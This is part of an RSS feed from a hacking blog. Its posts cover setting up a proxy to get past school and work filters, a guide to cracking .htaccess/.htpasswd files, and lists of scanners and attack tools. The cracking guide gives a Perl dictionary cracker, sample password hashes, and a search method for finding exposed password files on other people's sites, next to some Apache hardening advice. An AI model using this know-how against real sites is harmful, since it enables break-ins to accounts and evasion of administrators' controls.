<input name="loc" type="hidden" value="en_US" />
<input type="submit" value="Subscribe" /></form>
<p style="text-align: justify;">Happy Hunting</p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=354&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2008/09/list-of-all-the-sql-injection-strings.html/feed</wfw:commentRss>
		<slash:comments>352</slash:comments>
		</item>
		<item>
		<title>How to Set up your own Proxy Server</title>
		<link>http://www.hungry-hackers.com/2008/07/how-to-setup-your-own-proxy-server.html</link>
		<comments>http://www.hungry-hackers.com/2008/07/how-to-setup-your-own-proxy-server.html#comments</comments>
		<pubDate>Sat, 26 Jul 2008 04:26:46 +0000</pubDate>
		<dc:creator>Ashik</dc:creator>
				<category><![CDATA[Bad Boy]]></category>
		<category><![CDATA[Downloads]]></category>
		<category><![CDATA[Hacking at School and College]]></category>
		<category><![CDATA[Proxy]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[College]]></category>
		<category><![CDATA[Do it yourself]]></category>
		<category><![CDATA[School]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Setup]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=326</guid>
		<description><![CDATA[Lot´s of people complain that Web Proxys are not working at their Works / Schools computer because they have been banned by administrators. A way around this would be to setup your very own proxy server that is being hosted a) by a free web hosting service that supports either php or cgi or b) your own website that is being hosted by a web hosting company.]]></description>
			<content:encoded><![CDATA[<p>Lot´s of people complain that Web Proxys are not working at their Works / Schools computer because they have been banned by administrators. A way around this would be to setup your very own proxy server that is being hosted a) by a free web hosting service that supports either php or cgi or b) your own website that is being hosted by a web hosting company.</p>
<p>Both methods should work and I will walk you right through the installation process for both scripts and give you tips how to find out what is actually being blocked. Before we start you need to download a copy of <a href="http://freshmeat.net/projects/phpproxy/" target="_blank">phpproxy</a> or <a href="http://www.jmarshall.com/tools/cgiproxy/" target="_blank">cgiproxy</a> depending on what you want and can use. You also could perform a search for free web hosting on google for instance and try to <a title="Find a Web Host" href="http://www.webhostingsearch.com/advanced-search.php" target="_blank">find a web host</a> that supports one of the two languages, a good site that I found while searching for those terms might be <a href="http://www.freewebspace.net/" target="_blank">freewebspace.net</a></p>
<p><strong>1. phpproxy</strong></p>
<p>Download <a href="http://idea.hosting.lv/a/phpproxy/" target="_blank">phpproxy</a> and unpack it to a local directory on your hard drive. All you need to do know is to upload the script to your webspace and open up the new url to check if its working allright. You might want to rename the file to something different, something that does not contain the word proxy in it to avoid filters that ban everything that has the word “proxy” in it.</p>
<p>You could open up the script and enter your clients ip in there to make sure that only your client will be able to connect or you could add a .htaccess file to the directory forcing everyone who wants to start the script to enter a username and password. Again, use google if you like to find out more information about .htaccess</p>
<p>The php script has some requirements, make sure you read the readme file which is included and check to see if your hoster has those requirements enabled.<br />
[eminimall]<br />
<strong>2. cgiproxy</strong></p>
<p>Your hoster has to have cgi enabled in order to run this script. Many free hosters do not offer cgi or only some preinstalled scripts. Make sure it is enabled before you start the installation process.</p>
<p>First, download the <a href="http://www.jmarshall.com/tools/cgiproxy/releases/cgiproxy.2.0.1.tar.gz" target="_blank">source</a> and unpack it to a local directory.</p>
<p>Now, open the .cgi file and take a look at the configuration. You can edit lots of settings from within, for example you could configure the script that way that it only allows text to go through the proxy but no images. Everything is explained in detail and all options are explained with comments, browse through the file, edit the options to your liking and save the new file.</p>
<p>After that upload the script to your cgi directory if that is required by your hoster and open the url from your browser. You are now ready to browse the web anonymously, to check if that is really the case load a website like <a href="http://www.whatismyip.com/" target="_blank">whatismyip.com</a> as the first site and check if the ip matches with the server the script is installed and not your computers ip. If that is the case you´ve done everything right and can surf anonymously. (there are still ways to find out your ip, just in case you are wondering)</p>
<p><strong>3. What is being blocked </strong>?</p>
<p>a) If you can access the proxy from the client they only block domains / ips.<br />
b) If you can´t access the proxy they might be banning filenames that contain proxy as well, try changing the filename.</p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=326&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2008/07/how-to-setup-your-own-proxy-server.html/feed</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Cracking .htaccess/.htpasswd for Passwords</title>
		<link>http://www.hungry-hackers.com/2008/07/cracking-htaccss-htpaswd-for-passwords.html</link>
		<comments>http://www.hungry-hackers.com/2008/07/cracking-htaccss-htpaswd-for-passwords.html#comments</comments>
		<pubDate>Mon, 14 Jul 2008 13:06:03 +0000</pubDate>
		<dc:creator>Ashik</dc:creator>
				<category><![CDATA[Database Hacking]]></category>
		<category><![CDATA[Decryption]]></category>
		<category><![CDATA[Hacking Tutorials]]></category>
		<category><![CDATA[Hardcore Hacking]]></category>
		<category><![CDATA[Internet Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Cracking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hardcore]]></category>
		<category><![CDATA[Htacces/Htpasswd]]></category>
		<category><![CDATA[Internet]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[Website]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=323</guid>
		<description><![CDATA[This article is intended to be an almost complete guide to cracking and protecting websites which utilize the .htaccess/.htpasswd method for controlling access to data. it&#8217;s not intended to be a how-to guide for hacking websites. if you&#8217;re looking for a simple howto and not interested in reading in-depth information, then this isn&#8217;t the text for you.
I m considering writing a series of guides which for now I m calling &#8220;Hungry Hackers Guide&#8221;. i do have my malicious streaks (mainly on my own stuff though, I enjoy breaking my own ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">This article is intended to be an almost complete guide to cracking and protecting websites which utilize the .htaccess/.htpasswd method for controlling access to data. it&#8217;s not intended to be a how-to guide for hacking websites. if you&#8217;re looking for a simple howto and not interested in reading in-depth information, then this isn&#8217;t the text for you.</p>
<p style="text-align: justify;">I m considering writing a series of guides which for now I m calling &#8220;Hungry Hackers Guide&#8221;. i do have my malicious streaks (mainly on my own stuff though, I enjoy breaking my own machines), but I am mostly white hat. I guess these guide will basically aim to give white hat hackers a security lecture from a black hat perspective. i dunno. *shrugs*</p>
<h2 style="text-align: justify;">Basic access control in apache</h2>
<p style="text-align: justify;">At it&#8217;s most basic level, access control in apache is specified in the httpd.conf (or equivalent file. these were previously three files, now merged into one for simplicity&#8217;s sake). the most basic directives are allow from and deny from. the default permissions for any given directory is allow from all (which will allow any client to get pages from that directory).</p>
<p style="text-align: justify;">the format for these directives is as follows:</p>
<p style="text-align: justify;"><code>&lt;Directory /&gt;      Order Deny,Allow      Deny from All &lt;/Directory&gt; </code></p>
<p style="text-align: justify;">This will disallow any client from retrieving any file on your server, unless you explicitly allow files further up the tree. However, since sometimes normal users will want to control their own web directories, and it&#8217;s impractical (at least, at most, unsafe) to allow webmasters to modify the httpd.conf, we can specify to allow users to override certain directives using the <a href="http://httpd.apache.org/docs/mod/core.html#allowoverride">allowoverride directive</a>.</p>
<h2 style="text-align: justify;">Allow override</h2>
<p style="text-align: justify;">Allowoverride (as stated above) allows non-root users to override access controls on a directory. you simply specify which directives you want the user to be able to override (the default is everything), and then apache looks in each directory for a .htaccess file (or other, specified with the <a href="http://httpd.apache.org/docs/mod/core.html#accessfilename">AccessFilename directive</a>) and applies the contents of that to it&#8217;s access control.</p>
<p style="text-align: justify;">Part of the access control, the part which we will be covering (given the scope of this document) is the authconfig directives. below we&#8217;ll view a typical .htaccess file for most sites with moderate to poor security (most porn sites simply use these, porn sites can actually be great practice to crack passwords).</p>
<p style="text-align: justify;"><code>/* a typical .htaccess file */ AuthName "Marvin Martian's Porn Emporium" AuthType Basic AuthUserFile /home/marvin/public_html/members/.htpasswd require valid-user </code></p>
<p style="text-align: justify;">As you can see above, there aren&#8217;t many directives required to provide password protection to a directory. as you can see, in this case, the webmaster has been pretty lazy and stuck the .htpasswd file inside the same directory. the format of the .htpasswd file is simple: &lt;user&gt;:&lt;encryptedpassword&gt;</p>
<p>[eminimall]</p>
<h2 style="text-align: justify;">A Bad case</h2>
<p style="text-align: justify;">On a poorly secured server, there are no access restrictions on the .htpasswd file. since the .htpasswd file is in a web-accessible directory, and user which is able to authenticate to the directory is able to obtain the password list.</p>
<p style="text-align: justify;">Simply enter the url /members/.htpasswd, and you should receive a full userlist as well as all the encrypted passwords. very silly indeed. if the file doesn&#8217;t exist, on a poorly configured server one merely has to read the .htaccess file to obtain the location. if it is below the &#8220;web-root&#8221;, then it would require a cgi-exploit of some sort to obtain the file. but on any other directory, simply use the browser to obtain the file:</p>
<p style="text-align: justify;"><code>webmaster:TTn.VQRliM8c2 hornyguy:ZpgNeARi106aM fatmike69:drXj18zVxxBVc </code></p>
<p style="text-align: justify;">Unfortunately, these passwords aren&#8217;t of much use in their current form. they require cracking.</p>
<h2 style="text-align: justify;">Cracking Passwords</h2>
<p style="text-align: justify;">Most unix passwords are encrypted using a &#8220;one way hash&#8221; or &#8220;trapdoor hash&#8221; &#8211; which entails actually losing data from the password in such a way that the original password simply cannot be obtained by reversing the algorithm.</p>
<p style="text-align: justify;">The only way to crack such passwords is using brute force guessing attacks. a simple perl script can be used to achieve this:</p>
<p style="text-align: justify;"><code>#! /usr/bin/perl # crack.pl by fwaggle &lt;root@fwaggle.net&gt;  open (PASSFILE, ".htpasswd"); my @passfile = &lt;PASSFILE&gt;; close PASSFILE;  open (DICTFILE, "dictionary.txt"); my @dictfile = &lt;DICTFILE&gt;; close DICTFILE;  foreach $line (@passfile) {   my ($username, $encpass) = split(/:/, $line);   foreach $attempt (@dictfile) {     if ($encpass eq crypt($attempt, $encpass)) {       print("Cracked: ${username}:${attempt}\n");     }   } } </code></p>
<p style="text-align: justify;">The above perl script is a simple brute force password cracker. it may or may not work, i didn&#8217;t actually test it before writing this article &#8211; but it closely resembles one i released to alt.hacking quite a while ago. whether it works or not, you should hopefully be able to see the process which password cracking requires (even for perl, the syntax is almost plain english).</p>
<p>[eminimall]</p>
<h2 style="text-align: justify;">Better Cracking Performance</h2>
<p style="text-align: justify;">Perl isn&#8217;t the quickest of languages, and using the standard crypt() calls aren&#8217;t exactly optimized for high speed cracking. a far better solution is to download a purpose-built, c coded password cracker such as john the ripper. john the ripper is optimized to crack passwords extra fast, as well as it includes an &#8220;incremental mode&#8221; in case your dictionary should fail to crack a password. ie, in the above example, if the user&#8217;s password doesn&#8217;t happen to be in the dictionary, then you won&#8217;t be able to crack it.</p>
<p style="text-align: justify;">Using an incremental password cracker, every character combination is tried, in an intelligent order (in a vain attempt to save time in something that is wholely unpredictable), so that absolutely any password will be cracked, eventually.</p>
<p style="text-align: justify;">The one problem with john the ripper is that it&#8217;s picky about the files that it gets inputted. in order to crack the .htpasswd files, you must edit them to make them appear like regular unix /etc/passwd files. this means adding extra fields, like this:</p>
<p style="text-align: justify;"><code>&lt;username&gt;:&lt;password&gt;:1:1:user:/bin/sh:/root </code></p>
<p style="text-align: justify;">for example, the entries above could look like this:</p>
<p style="text-align: justify;"><code>webmaster:TTn.VQRliM8c2:1:1:webmaster:/bin/sh:/root hornyguy:ZpgNeARi106aM:3:3:hornyguy:/bin/sh:/root fatmike69:drXj18zVxxBVc:3:3:hornyguy:/bin/sh:/root </code></p>
<p style="text-align: justify;">The windows version doesn&#8217;t seem to require this for some reason, so you can just feed it a regular .htpasswd file. note that the windows version may have markedly poor performance when compared to the unix versions.</p>
<h2 style="text-align: justify;">Finding vulnerable servers</h2>
<p style="text-align: justify;">Now that we&#8217;ve discussed how to break these passwords, it&#8217;s almost time to talk about securing them. if you&#8217;re only interested in hax0ring passwords from sites, chances are you&#8217;re probably well equipped to crack any password files you might stumble accross. if you&#8217;re just looking to hack anything, try searching in <a href="http://www.google.com/">google</a> or <a href="http://www.altavista.com/">altavista</a> for a phrase like .htpass, and wade through the results and see if you find a file that says &#8220;Index of /something&#8221; that contains a .htpasswd file.</p>
<p style="text-align: justify;">if you have permission to read the file, you&#8217;ve basically hacked it already. this is admittedly a lame hack, but if you&#8217;re bored &#8211; do the net in general a favour. crack the passwords, and email them to the admin. that&#8217;s all i ever used to do, and you get the same sense of achievement and hacker cred, without the legal problems of defacements.</p>
<p style="text-align: justify;">on a side note, the same results can be achieved by searching for service.pwd. this is the password file for fp-apache, the frontpage server extensions for apache. some really lame admins don&#8217;t check permissions on this file, and you can easily gain access to these kinds of systems (and if you&#8217;re feeling particularly malicious, just connect with a frontpage client and upload a defacement).</p>
<h2 style="text-align: justify;">Putting an end to this Nonsense</h2>
<p style="text-align: justify;">if you&#8217;re running your own site, then here&#8217;s the section you&#8217;ll really be interested in &#8211; stopping someone from doing this to you. the first thing you need to do is prevent users from reading your .ht* files. the easiest way to hinder this is to put the .htpasswd file someplace that&#8217;s not web-accessible (such as your home dir, out of ~/public_html).</p>
<p style="text-align: justify;">the next step, as an admin of a server, is to prevent apache from serving these pages from the web. there is no (i repeat NO) reason that a web client should ever need to see these pages, they are for server side configuration only.</p>
<p style="text-align: justify;">so, we can easily accomplish this using the &lt;Files&gt; directive, and a niftylittle regular expression:</p>
<p style="text-align: justify;"><code> &lt;Files ~ "^\.ht"&gt;     Order allow,deny     Deny from all &lt;/Files&gt; </code></p>
<p style="text-align: justify;">this particular example (taken from apache&#8217;s httpd.conf, now thankfully included in default distributions to keep lame admins from unknowingly putting themselves at risk) prevents the server from serving any files that begin with .ht. thus, .htaccess and .htpasswd are both protected.</p>
<p style="text-align: justify;">the final step from here is to ensure that the files are protected on the server &#8211; meaning file permissions. the ideal situation is to have suEXEC for apache running, and to have the files accessible only by the httpd (but still owned by you). that way, you can chmod the files when you need to edit them, but cgi exploits will not allow users to read the files.</p>
<h2 style="text-align: justify;">Wrapping it up</h2>
<p style="text-align: justify;">well, this concludes my little rant about .htpasswd and .htaccess files. hopefully you learnt something from this. comments are always welcome, just email me. also, if you&#8217;re looking for a unix/unix-like irc channel to lurk on, come on my irc network (irc.mooircd.org) and join #hackerzlair &#8211; it&#8217;s lag free, packet kiddie free, and quite nice.</p>
<p style="text-align: justify;">That about does it I think. Maybe I&#8217;ll write some more of these files if I think about it.</p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=323&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2008/07/cracking-htaccss-htpaswd-for-passwords.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Best 5 Port Scanners</title>
		<link>http://www.hungry-hackers.com/2008/06/best-5-port-scanners.html</link>
		<comments>http://www.hungry-hackers.com/2008/06/best-5-port-scanners.html#comments</comments>
		<pubDate>Sun, 08 Jun 2008 16:30:11 +0000</pubDate>
		<dc:creator>Ashik</dc:creator>
				<category><![CDATA[Downloads]]></category>
		<category><![CDATA[Hardcore Hacking]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Ip Scanner]]></category>
		<category><![CDATA[Port Scanner]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/2008/06/best-5-port-scanners.html</guid>
		<description><![CDATA[Here is a list of the Top 5 Port Scanners.
1. Nmap
A  versatile port scanner , has got lot of scanning options. Can perform a variety  of scan (syn , fin ,ack etc.)
Not very fast but is very accurate
also can  detect host OS
2. Superscan -
Fastest port scanner i&#8217;v seen
Can scan  tcp/udp ports . also has many network utilities like ping ,tracerouts, whois  etc.
3 Angry Ip  Scanner 
Angry IP Scanner can perform basic host discovery and port scans on Windows. Its binary file size is very ...]]></description>
			<content:encoded><![CDATA[<p>Here is a list of the Top 5 Port Scanners.</p>
<p>1. <a href="http://insecure.org/nmap/download.html" target="_blank">Nmap</a><br />
A  versatile port scanner , has got lot of scanning options. Can perform a variety  of scan (syn , fin ,ack etc.)<br />
Not very fast but is very accurate<br />
also can  detect host OS</p>
<p>2. <a href="http://www.foundstone.com/resources/proddesc/superscan.htm" target="_blank">Superscan</a> -<br />
Fastest port scanner i&#8217;v seen<br />
Can scan  tcp/udp ports . also has many network utilities like ping ,tracerouts, whois  etc.</p>
<p>3 <a href="http://www.angryziber.com/ipscan/" target="_blank">Angry Ip  Scanner </a><br />
Angry IP Scanner can perform basic host discovery and port scans on Windows. Its binary file size is very small compared to other scanners and other pieces of information about the target hosts can be extended with <a href="http://www.angryziber.com/ipscan/plugins/" target="_blank">plugins</a></p>
<p>4.<a href="http://www.unicornscan.org/" target="_blank">Unicorn Scan</a><br />
Unicornscan is an attempt at a User-land Distributed TCP/IP stack for information gathering and correlation. It is intended to provide a researcher a superior interface for introducing a stimulus into and measuring a response from a TCP/IP enabled device or network. Some of its features include asynchronous stateless TCP scanning with all variations of TCP flags, asynchronous stateless TCP banner grabbing, and active/passive remote OS, application, and component identification by analyzing responses. Like Scanrand, it isn&#8217;t for the faint of heart.</p>
<p>5 <a href="http://www.doxpara.com/paketto" target="_blank">Scanrand</a><br />
An unusually  fast stateless network service and topology discovery system<br />
Scanrand is a stateless host-discovery and port-scanner similar in design to Unicornscan. It trades off reliability for amazingly fast speeds and uses cryptographic techniques to prevent attackers from manipulating scan results.</p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=294&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2008/06/best-5-port-scanners.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Top 10 Linux Hacking Tools</title>
		<link>http://www.hungry-hackers.com/2008/05/top-10-linux-hacking-tools.html</link>
		<comments>http://www.hungry-hackers.com/2008/05/top-10-linux-hacking-tools.html#comments</comments>
		<pubDate>Mon, 12 May 2008 19:04:01 +0000</pubDate>
		<dc:creator>Ashik</dc:creator>
				<category><![CDATA[Cracking]]></category>
		<category><![CDATA[Downloads]]></category>
		<category><![CDATA[Hacking Computer]]></category>
		<category><![CDATA[Hardcore Hacking]]></category>
		<category><![CDATA[Internet Hacking]]></category>
		<category><![CDATA[JPEG Binding]]></category>
		<category><![CDATA[Keyloggers]]></category>
		<category><![CDATA[Linux Hacking]]></category>
		<category><![CDATA[NetBIOS Hacking]]></category>
		<category><![CDATA[Password Recovery]]></category>
		<category><![CDATA[Registry Hacking]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server Hacking]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[Trojan Horse]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Softwares]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Top Ten]]></category>

		<guid isPermaLink="false">http://www.hungry-hackers.com/?p=285</guid>
		<description><![CDATA[This is a Cool Collection of Top Ten Linux Hacking Tools.]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;">This is a Cool Collection of Top Ten Linux Hacking Tools.</p>
<p style="text-align: justify;">1. <a class="external" rel="nofollow" href="http://www.insecure.org/nmap/" target="_blank"><span>nmap</span></a> &#8211; Nmap (&#8220;Network Mapper&#8221;) is a free open source utility for network exploration or security auditing. It was designed to rapidly scan large networks, although it works fine against single hosts. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. Nmap runs on most types of computers and both console and graphical versions are available.</p>
<p style="text-align: justify;">2. <a class="external" rel="nofollow" href="http://www.cirt.net/code/nikto.shtml" target="_blank"><span>Nikto</span></a> &#8211; Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 3200 potentially dangerous files/CGIs, versions on over 625 servers, and version specific problems on over 230 servers. Scan items and plugins are frequently updated and can be automatically updated (if desired).</p>
<p style="text-align: justify;">3. <a class="external" rel="nofollow" href="http://thc.org/thc-amap/" target="_blank"><span>THC-Amap</span></a> &#8211; Amap is a next-generation tool for assistingnetwork penetration testing. It performs fast and reliable application protocol detection, independant on the TCP/UDP port they are being bound to.</p>
<p style="text-align: justify;">4. <a class="external" rel="nofollow" href="http://www.ethereal.com/" target="_blank"><span>Ethereal</span></a> &#8211; Ethereal is used by network professionals around the world for troubleshooting, analysis, software and protocol development, and education. It has all of the standard features you would expect in a protocol analyzer, and several features not seen in any other product.</p>
<p style="text-align: justify;">5. <a class="external" rel="nofollow" href="http://thc.org/thc-hydra/" target="_blank"><span>THC-Hydra</span></a> &#8211; Number one of the biggest security holes are passwords, as every password security study shows. Hydra is a parallized login cracker which supports numerous protocols to attack. New modules are easy to add, beside that, it is flexible and very fast.</p>
<p style="text-align: justify;">6. <a class="external" rel="nofollow" href="http://www.metasploit.com/projects/Framework/" target="_blank"><span>Metasploit Framework</span></a> &#8211; The Metasploit Framework is an advanced open-source platform for developing, testing, and using exploit code. This project initially started off as a portable network game and has evolved into a powerful tool for penetration testing, exploit development, and vulnerability research.</p>
<p style="text-align: justify;">7. <a class="external" rel="nofollow" href="http://www.openwall.com/john/" target="_blank"><span>John the Ripper</span></a> &#8211; John the Ripper is a fast password cracker, currently available for many flavors of Unix (11 are officially supported, not counting different architectures), DOS, Win32, BeOS, and OpenVMS. Its primary purpose is to detect weak Unix passwords. Besides several crypt(3) password hash types most commonly found on various Unix flavors, supported out of the box are Kerberos AFS and Windows NT/2000/XP/2003 LM hashes, plus several more with contributed patches.</p>
<p style="text-align: justify;">8. <a class="external" rel="nofollow" href="http://www.nessus.org/" target="_blank"><span>Nessus</span></a> &#8211; Nessus is the world&#8217;s most popular vulnerability scanner used in over 75,000 organisations world-wide. Many of the world&#8217;s largest organisations are realising significant cost savings by using Nessus to audit business-critical enterprise devices and applications.</p>
<p style="text-align: justify;">9. <a class="external" rel="nofollow" href="http://www.phenoelit.de/irpas/" target="_blank"><span>IRPAS &#8211; Internetwork Routing Protocol Attack Suite</span></a> &#8211; Routing protocols are by definition protocols, which are used by routers to communicate with each other about ways to deliver routed protocols, such as IP. While many improvements have been done to the host security since the early days of the Internet, the core of this network still uses unauthenticated services for critical communication.</p>
<p style="text-align: justify;">10. <a class="external" rel="nofollow" href="http://www.antsight.com/zsl/rainbowcrack/" target="_blank"><span>Rainbowcrack</span></a> &#8211; RainbowCrack is a general propose implementation of Philippe Oechslin&#8217;s faster time-memory trade-off technique. In short, the RainbowCrack tool is a hash cracker. A traditional brute force cracker try all possible plaintexts one by one in cracking time. It is time consuming to break complex password in this way. The idea of time-memory trade-off is to do all cracking time computation in advance and store the result in files so called &#8220;rainbow table&#8221;.</p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=285&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2008/05/top-10-linux-hacking-tools.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Top 10 Tricks to exploit SQL Server Systems</title>
		<link>http://www.hungry-hackers.com/2008/01/top-10-tricks-to-exploit-sql-server-systems.html</link>
		<comments>http://www.hungry-hackers.com/2008/01/top-10-tricks-to-exploit-sql-server-systems.html#comments</comments>
		<pubDate>Sat, 12 Jan 2008 18:31:00 +0000</pubDate>
		<dc:creator>Ashik</dc:creator>
				<category><![CDATA[Hardcore Hacking]]></category>
		<category><![CDATA[Server Hacking]]></category>

		<guid isPermaLink="false">http://hungry-hackers.com/?p=136</guid>
		<description><![CDATA[Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.
1. Direct connections via the Internet
These connections can be used to attach to SQL Servers sitting naked ...]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify">Whether it is through manual poking and prodding or the use of security testing tools, malicious attackers employ a variety of tricks to break into SQL Server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.</p>
<p style="text-align: justify"><span id="fullpost"><span style="font-weight: bold">1. Direct connections via the Internet</span></span></p>
<p>These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield&#8217;s Port Report shows just how many systems are sitting out there waiting to be attacked. I don&#8217;t understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.</p>
<p><span style="font-weight: bold"> 2. Vulnerability scanning</span></p>
<p>Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or the database system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assessment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.&#8217;s NGSSquirrel for SQL Server (for database-specific scanning). They&#8217;re easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.</p>
<p><img src="http://tk.files.storage.msn.com/x1pCFuELfk4HG5HGNGsDSLDPIZGci4keyi-BhYVByksyZbqcTavuOV0F7Y02_RM7S4Pq-PM7LaB_TadnSRkTOXdSpt1fYMTeSmT8pOaKhsuMqM4KnIuS8yX2RZZyh_wt1KLcThkvV0_xE0" alt="sql hacker fig1" /></p>
<p>Figure 1: Common SQL injection vulnerabilities found using WebInspect.</p>
<img src="http://www.hungry-hackers.com/?ak_action=api_record_view&id=136&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://www.hungry-hackers.com/2008/01/top-10-tricks-to-exploit-sql-server-systems.html/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
	</channel>
</rss>


<!-- Performance optimized by W3 Total Cache. Learn more: http://www.w3-edge.com/wordpress-plugins/

Minified using disk: basic
Page Caching using disk: enhanced
Database Caching using disk: basic
Object Caching 1169/1368 objects using disk: basic

Served from: hungry-hackers.com @ 2012-02-12 01:41:17 -->
